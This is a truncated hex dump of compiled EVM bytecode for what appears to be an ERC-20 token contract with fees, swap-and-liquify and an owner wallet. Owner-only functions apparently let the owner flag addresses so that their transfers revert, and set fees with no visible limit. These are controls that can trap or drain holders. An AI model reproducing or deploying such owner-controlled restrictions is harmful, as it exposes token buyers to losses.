600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009368262000909565b9050919050565b620009488162000929565b81146200095457600080fd5b50565b60008151905062000968816200093d565b92915050565b620009798162000851565b81146200098557600080fd5b50565b60008151905062000999816200096e565b92915050565b60008060408385031215620009b957620009b862000904565b5b6000620009c98582860162000957565b9250506020620009dc8582860162000988565b9150509250929050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a6857607f821691505b60208210810362000a7e5762000a7d62000a20565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000ae87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000aa9565b62000af4868362000aa9565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000b3762000b3162000b2b8462000851565b62000b0c565b62000851565b9050919050565b6000819050919050565b62000b538362000b16565b62000b6b62000b628262000b3e565b84845462000ab6565b825550505050565b600090565b62000b8262000b73565b62000b8f81848462000b48565b505050565b5b8181101562000bb75762000bab60008262000b78565b60018101905062000b95565b5050565b601f82111562000c065762000bd08162000a84565b62000bdb8462000a99565b8101602085101562000beb578190505b62000c0362000bfa8562000a99565b83018262000b94565b50505b505050565b600082821c905092915050565b600062000c2b6000198460080262000c0b565b1980831691505092915050565b600062000c46838362000c18565b9150826002028217905092915050565b62000c6182620009e6565b67ffffffffffffffff81111562000c7d5762000c7c620009f1565b5b62000c89825462000a4f565b62000c9682828562000bbb565b600060209050601f83116001811462000cce576000841562000cb9578287015190505b62000cc5858262000c38565b86555062000d35565b601f19841662000cde8662000a84565b60005b8281101562000d085784890151825560018201915060208501945060208101905062000ce1565b8683101562000d28578489015162000d24601f89168262000c18565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a2067656e65726174696f6e20746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600062000dac60258362000d3d565b915062000db98262000d4e565b604082019050919050565b6000602082019050818103600083015262000ddf8162000d9d565b9050919050565b62000df18162000851565b82525050565b600060208201905062000e0e600083018462000de6565b92915050565b614b468062000e246000396000f3fe60806040526004361061023f5760003560e01c80638cd4426d1161012e578063c2b7bbb6116100ab578063f2fde38b1161006f578063f2fde38b1461088b578063f52be97c146108b4578063f570d4de146108dd578063f66895a314610906578063f887ea401461093257610246565b8063c2b7bbb614610796578063c5d32bb2146107bf578063d695609b146107fc578063dd62ed3e14610825578063edaa11681461086257610246565b8063a65091a6116100f2578063a65091a61461069f578063a8aa1b31146106dc578063a9059cbb14610707578063aacebbe314610744578063ad296d9d1461076d57610246565b80638cd4426d146105ba5780638da5cb5b146105e357806395d89b411461060e5780639e252f0014610639578063a457c2d71461066257610246565b80634ada218b116101bc578063728f8eea11610180578063728f8eea146104fa578063832c2bd2146105265780638514022d1461054f57806385141a77146105785780638a8c523c146105a357610246565b80634ada218b146104275780635dbdb7e31461045257806366a88d961461047b57806370a08231146104a6578063715018a6146104e357610246565b8063251ef09511610203578063251ef09514610344578063313ce5671461036d578063395093511461039857806342b6fa11146103d55780634324deae146103fe57610246565b806306fdde031461024b578063095ea7b3146102765780631340538f146102b357806318160ddd146102dc57806323b872dd1461030757610246565b3661024657005b600080fd5b34801561025757600080fd5b5061026061095d565b60405161026d919061355e565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190613628565b6109ef565b6040516102aa9190613683565b60405180910390f35b3480156102bf57600080fd5b506102da60048036038101906102d591906136ca565b610a0d565b005b3480156102e857600080fd5b506102f1610aa6565b6040516102fe9190613706565b60405180910390f35b34801561031357600080fd5b5061032e60048036038101906103299190613721565b610ab0565b60405161033b9190613683565b60405180910390f35b34801561035057600080fd5b5061036b600480360381019061036691906138bc565b610bb1565b005b34801561037957600080fd5b50610382610cc2565b60405161038f9190613921565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190613628565b610ccb565b6040516103cc9190613683565b60405180910390f35b3480156103e157600080fd5b506103fc60048036038101906103f7919061393c565b610d77565b005b34801561040a57600080fd5b506104256004803603810190610420919061393c565b610e1b565b005b34801561043357600080fd5b5061043c610ebf565b6040516104499190613683565b60405180910390f35b34801561045e57600080fd5b5061047960048036038101906104749190613969565b610ed2565b005b34801561048757600080fd5b50610490610fa9565b60405161049d9190613706565b60405180910390f35b3480156104b257600080fd5b506104cd60048036038101906104c89190613969565b610faf565b6040516104da9190613706565b60405180910390f35b3480156104ef57600080fd5b506104f8610ff7565b005b34801561050657600080fd5b5061050f61113a565b60405161051d929190613996565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190613969565b61114c565b005b34801561055b57600080fd5b50610576600480360381019061057191906139bf565b611223565b005b34801561058457600080fd5b5061058d6112fa565b60405161059a9190613a0e565b60405180910390f35b3480156105af57600080fd5b506105b8611300565b005b3480156105c657600080fd5b506105e160048036038101906105dc9190613628565b61140b565b005b3480156105ef57600080fd5b506105f8611511565b6040516106059190613a0e565b60405180910390f35b34801561061a57600080fd5b5061062361153b565b604051610630919061355e565b60405180910390f35b34801561064557600080fd5b50610660600480360381019061065b919061393c565b6115cd565b005b34801561066e57600080fd5b5061068960048036038101906106849190613628565b61169a565b6040516106969190613683565b60405180910390f35b3480156106ab57600080fd5b506106c660048036038101906106c19190613969565b61178e565b6040516106d39190613683565b60405180910390f35b3480156106e857600080fd5b506106f16117e4565b6040516106fe9190613a0e565b60405180910390f35b34801561071357600080fd5b5061072e60048036038101906107299190613628565b61180a565b60405161073b9190613683565b60405180910390f35b34801561075057600080fd5b5061076b60048036038101906107669190613969565b611821565b005b34801561077957600080fd5b50610794600480360381019061078f9190613a29565b6118e1565b005b3480156107a257600080fd5b506107bd60048036038101906107b89190613969565b6119f2565b005b3480156107cb57600080fd5b506107e660048036038101906107e19190613969565b611b2c565b6040516107f39190613683565b60405180910390f35b34801561080857600080fd5b50610823600480360381019061081e9190613a85565b611b4c565b005b34801561083157600080fd5b5061084c60048036038101906108479190613ac5565b611bfa565b6040516108599190613706565b60405180910390f35b34801561086e57600080fd5b506108896004803603810190610884919061393c565b611c81565b005b34801561089757600080fd5b506108b260048036038101906108ad9190613969565b611d57565b005b3480156108c057600080fd5b506108db60048036038101906108d69190613a85565b611e4e565b005b3480156108e957600080fd5b5061090460048036038101906108ff91906138bc565b611efc565b005b34801561091257600080fd5b5061091b61200d565b604051610929929190613996565b60405180910390f35b34801561093e57600080fd5b5061094761201f565b6040516109549190613b64565b60405180910390f35b60606003805461096c90613bae565b80601f016020809104026020016040519081016040528092919081815260200182805461099890613bae565b80156109e55780601f106109ba576101008083540402835291602001916109e5565b820191906000526020600020905b8154815290600101906020018083116109c857829003601f168201915b5050505050905090565b6000610a036109fc612045565b848461204d565b6001905092915050565b610a15612045565b73ffffffffffffffffffffffffffffffffffffffff16610a33612216565b73ffffffffffffffffffffffffffffffffffffffff1614610a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8090613c2b565b60405180910390fd5b80600860156101000a81548160ff02191690831515021790555050565b6000600254905090565b6000610abd84848461222a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b08612045565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7f90613cbd565b60405180910390fd5b610ba585610b94612045565b8584610ba09190613d0c565b61204d565b60019150509392505050565b610bb9612045565b73ffffffffffffffffffffffffffffffffffffffff16610bd7612216565b73ffffffffffffffffffffffffffffffffffffffff1614610c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2490613c2b565b60405180910390fd5b60005b8151811015610cbe57600060156000848481518110610c5257610c51613d40565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610cb690613d6f565b915050610c30565b5050565b60006009905090565b6000610d6d610cd8612045565b848460016000610ce6612045565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d689190613db7565b61204d565b6001905092915050565b610d7f612045565b73ffffffffffffffffffffffffffffffffffffffff16610d9d612216565b73ffffffffffffffffffffffffffffffffffffffff1614610df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dea90613c2b565b60405180910390fd5b610dfb610cc2565b600a610e079190613f1e565b81610e129190613f69565b600a8190555050565b610e23612045565b73ffffffffffffffffffffffffffffffffffffffff16610e41612216565b73ffffffffffffffffffffffffffffffffffffffff1614610e97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8e90613c2b565b60405180910390fd5b610e9f610cc2565b600a610eab9190613f1e565b81610eb69190613f69565b600b8190555050565b600860169054906101000a900460ff1681565b610eda612045565b73ffffffffffffffffffffffffffffffffffffffff16610ef8612216565b73ffffffffffffffffffffffffffffffffffffffff1614610f4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4590613c2b565b60405180910390fd5b6001601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600b5481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fff612045565b73ffffffffffffffffffffffffffffffffffffffff1661101d612216565b73ffffffffffffffffffffffffffffffffffffffff1614611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a90613c2b565b60405180910390fd5b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60118060000154908060010154905082565b611154612045565b73ffffffffffffffffffffffffffffffffffffffff16611172612216565b73ffffffffffffffffffffffffffffffffffffffff16146111c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bf90613c2b565b60405180910390fd5b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61122b612045565b73ffffffffffffffffffffffffffffffffffffffff16611249612216565b73ffffffffffffffffffffffffffffffffffffffff161461129f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129690613c2b565b60405180910390fd5b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61dead81565b611308612045565b73ffffffffffffffffffffffffffffffffffffffff16611326612216565b73ffffffffffffffffffffffffffffffffffffffff161461137c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137390613c2b565b60405180910390fd5b600860169054906101000a900460ff16156113cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c390613ff7565b60405180910390fd5b6001600860166101000a81548160ff0219169083151502179055506001600860156101000a81548160ff02191690831515021790555043600c81905550565b611413612045565b73ffffffffffffffffffffffffffffffffffffffff16611431612216565b73ffffffffffffffffffffffffffffffffffffffff1614611487576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147e90613c2b565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6114ab611511565b836040518363ffffffff1660e01b81526004016114c9929190614017565b6020604051808303816000875af11580156114e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150c9190614055565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461154a90613bae565b80601f016020809104026020016040519081016040528092919081815260200182805461157690613bae565b80156115c35780601f10611598576101008083540402835291602001916115c3565b820191906000526020600020905b8154815290600101906020018083116115a657829003601f168201915b5050505050905090565b6115d5612045565b73ffffffffffffffffffffffffffffffffffffffff166115f3612216565b73ffffffffffffffffffffffffffffffffffffffff1614611649576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164090613c2b565b60405180910390fd5b611651611511565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611696573d6000803e3d6000fd5b5050565b600080600160006116a9612045565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175d906140f4565b60405180910390fd5b611783611771612045565b85858461177e9190613d0c565b61204d565b600191505092915050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061181733848461222a565b6001905092915050565b611829612045565b73ffffffffffffffffffffffffffffffffffffffff16611847612216565b73ffffffffffffffffffffffffffffffffffffffff161461189d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189490613c2b565b60405180910390fd5b80601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6118e9612045565b73ffffffffffffffffffffffffffffffffffffffff16611907612216565b73ffffffffffffffffffffffffffffffffffffffff161461195d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195490613c2b565b60405180910390fd5b60005b82518110156119ed57816016600085848151811061198157611980613d40565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806119e590613d6f565b915050611960565b505050565b6119fa612045565b73ffffffffffffffffffffffffffffffffffffffff16611a18612216565b73ffffffffffffffffffffffffffffffffffffffff1614611a6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6590613c2b565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160156000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60156020528060005260406000206000915054906101000a900460ff1681565b611b54612045565b73ffffffffffffffffffffffffffffffffffffffff16611b72612216565b73ffffffffffffffffffffffffffffffffffffffff1614611bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbf90613c2b565b60405180910390fd5b604051806040016040528083815260200182815250601160008201518160000155602082015181600101559050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611c89612045565b73ffffffffffffffffffffffffffffffffffffffff16611ca7612216565b73ffffffffffffffffffffffffffffffffffffffff1614611cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf490613c2b565b60405180910390fd5b600860169054906101000a900460ff1615611d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4490614186565b60405180910390fd5b80600d8190555050565b611d5f612045565b73ffffffffffffffffffffffffffffffffffffffff16611d7d612216565b73ffffffffffffffffffffffffffffffffffffffff1614611dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dca90613c2b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611e42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3990614218565b60405180910390fd5b611e4b81612a73565b50565b611e56612045565b73ffffffffffffffffffffffffffffffffffffffff16611e74612216565b73ffffffffffffffffffffffffffffffffffffffff1614611eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec190613c2b565b60405180910390fd5b604051806040016040528083815260200182815250601360008201518160000155602082015181600101559050505050565b611f04612045565b73ffffffffffffffffffffffffffffffffffffffff16611f22612216565b73ffffffffffffffffffffffffffffffffffffffff1614611f78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6f90613c2b565b60405180910390fd5b60005b815181101561200957600160156000848481518110611f9d57611f9c613d40565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061200190613d6f565b915050611f7b565b5050565b60138060000154908060010154905082565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036120bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b3906142aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361212b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121229061433c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516122099190613706565b60405180910390a3505050565b600080612221612b39565b90508091505090565b6000811161226d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612264906143ce565b60405180910390fd5b43600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156123555750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123aa57600860169054906101000a900460ff166123a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a09061443a565b60405180910390fd5b5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156124515750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561246a5750600860149054906101000a900460ff16155b156124c857600b548161247c84610faf565b6124869190613db7565b11156124c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124be906144a6565b60405180910390fd5b5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156125705750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156125c65750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156125df5750600860149054906101000a900460ff16155b1561269357600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461269257600b548161264684610faf565b6126509190613db7565b1115612691576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612688906144a6565b60405180910390fd5b5b5b60008060006126a06134b4565b6000601560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156127465750601560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156127605750600d54600c5461275d9190613db7565b43105b9050601660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156127be576127bd88612be1565b5b600860149054906101000a900460ff16806128225750601560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806128765750601560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156128845760009250612983565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161480156128df575080155b15612927576013600001546013600101546128fa9190613db7565b94508493506013604051806040016040529081600082015481526020016001820154815250509150612982565b8061296f576011600001546011600101546129429190613db7565b94508493506011604051806040016040529081600082015481526020016001820154815250509150612981565b801561298057600e549450600e5493505b5b5b5b606484876129919190613f69565b61299b91906144f5565b9250600860159054906101000a900460ff168015612a075750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614155b15612a1757612a168583612c6b565b5b612a2d88888589612a289190613d0c565b612e0f565b6000831115612a69576000851115612a6857600060648688612a4f9190613f69565b612a5991906144f5565b9050612a66893083612e0f565b505b5b5050505050505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612bb857600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612bdc565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b612c29600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461308c565b612c68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c5f90614598565b60405180910390fd5b50565b600860149054906101000a900460ff16612e0b576001600860146101000a81548160ff0219169083151502179055506000820315612def576000612cae30610faf565b9050600a548110612ded576001600a541115612cca57600a5490505b6000600284612cd99190613f69565b9050600081846020015184612cee9190613f69565b612cf891906144f5565b905060008184612d089190613d0c565b90506000479050612d1882613098565b60008147612d269190613d0c565b90506000876020015186612d3a9190613d0c565b82612d4591906144f5565b90506000886020015182612d599190613f69565b90506000811115612d6f57612d6e86826132db565b5b60008960000151600284612d839190613f69565b612d8d9190613f69565b90506000811115612de457612de381601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166133bb90919063ffffffff16565b5b50505050505050505b505b6000600860146101000a81548160ff0219169083151502179055505b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612e7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e759061462a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612eed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ee4906146bc565b60405180910390fd5b612ef88383836134af565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612f7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f759061474e565b60405180910390fd5b8181612f8a9190613d0c565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461301a9190613db7565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161307e9190613706565b60405180910390a350505050565b60004382119050919050565b6000600267ffffffffffffffff8111156130b5576130b4613779565b5b6040519080825280602002602001820160405280156130e35781602001602082028036833780820191505090505b50905030816000815181106130fb576130fa613d40565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156131a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131c69190614783565b816001815181106131da576131d9613d40565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061324130600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461204d565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016132a59594939291906148a9565b600060405180830381600087803b1580156132bf57600080fd5b505af11580156132d3573d6000803e3d6000fd5b505050505050565b61330830600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461204d565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b815260040161337196959493929190614903565b60606040518083038185885af115801561338f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906133b49190614979565b5050505050565b804710156133fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133f590614a18565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff168260405161342490614a69565b60006040518083038185875af1925050503d8060008114613461576040519150601f19603f3d011682016040523d82523d6000602084013e613466565b606091505b50509050806134aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134a190614af0565b60405180910390fd5b505050565b505050565b604051806040016040528060008152602001600081525090565b600081519050919050565b600082825260208201905092915050565b60005b838110156135085780820151818401526020810190506134ed565b60008484015250505050565b6000601f19601f8301169050919050565b6000613530826134ce565b61353a81856134d9565b935061354a8185602086016134ea565b61355381613514565b840191505092915050565b600060208201905081810360008301526135788184613525565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006135bf82613594565b9050919050565b6135cf816135b4565b81146135da57600080fd5b50565b6000813590506135ec816135c6565b92915050565b6000819050919050565b613605816135f2565b811461361057600080fd5b50565b600081359050613622816135fc565b92915050565b6000806040838503121561363f5761363e61358a565b5b600061364d858286016135dd565b925050602061365e85828601613613565b9150509250929050565b60008115159050919050565b61367d81613668565b82525050565b60006020820190506136986000830184613674565b92915050565b6136a781613668565b81146136b257600080fd5b50565b6000813590506136c48161369e565b92915050565b6000602082840312156136e0576136df61358a565b5b60006136ee848285016136b5565b91505092915050565b613700816135f2565b82525050565b600060208201905061371b60008301846136f7565b92915050565b60008060006060848603121561373a5761373961358a565b5b6000613748868287016135dd565b9350506020613759868287016135dd565b925050604061376a86828701613613565b9150509250925092565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6137b182613514565b810181811067ffffffffffffffff821117156137d0576137cf613779565b5b80604052505050565b60006137e3613580565b90506137ef82826137a8565b919050565b600067ffffffffffffffff82111561380f5761380e613779565b5b602082029050602081019050919050565b600080fd5b6000613838613833846137f4565b6137d9565b9050808382526020820190506020840283018581111561385b5761385a613820565b5b835b81811015613884578061387088826135dd565b84526020840193505060208101905061385d565b5050509392505050565b600082601f8301126138a3576138a2613774565b5b81356138b3848260208601613825565b91505092915050565b6000602082840312156138d2576138d161358a565b5b600082013567ffffffffffffffff8111156138f0576138ef61358f565b5b6138fc8482850161388e565b91505092915050565b600060ff82169050919050565b61391b81613905565b82525050565b60006020820190506139366000830184613912565b92915050565b6000602082840312156139525761395161358a565b5b600061396084828501613613565b91505092915050565b60006020828403121561397f5761397e61358a565b5b600061398d848285016135dd565b91505092915050565b60006040820190506139ab60008301856136f7565b6139b860208301846136f7565b9392505050565b600080604083850312156139d6576139d561358a565b5b60006139e4858286016135dd565b92505060206139f5858286016136b5565b9150509250929050565b613a08816135b4565b82525050565b6000602082019050613a2360008301846139ff565b92915050565b60008060408385031215613a4057613a3f61358a565b5b600083013567ffffffffffffffff811115613a5e57613a5d61358f565b5b613a6a8582860161388e565b9250506020613a7b858286016136b5565b9150509250929050565b60008060408385031215613a9c57613a9b61358a565b5b6000613aaa85828601613613565b9250506020613abb85828601613613565b9150509250929050565b60008060408385031215613adc57613adb61358a565b5b6000613aea858286016135dd565b9250506020613afb858286016135dd565b9150509250929050565b6000819050919050565b6000613b2a613b25613b2084613594565b613b05565b613594565b9050919050565b6000613b3c82613b0f565b9050919050565b6000613b4e82613b31565b9050919050565b613b5e81613b43565b82525050565b6000602082019050613b796000830184613b55565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613bc657607f821691505b602082108103613bd957613bd8613b7f565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613c156020836134d9565b9150613c2082613bdf565b602082019050919050565b60006020820190508181036000830152613c4481613c08565b9050919050565b7f45524332303a207472616e73666572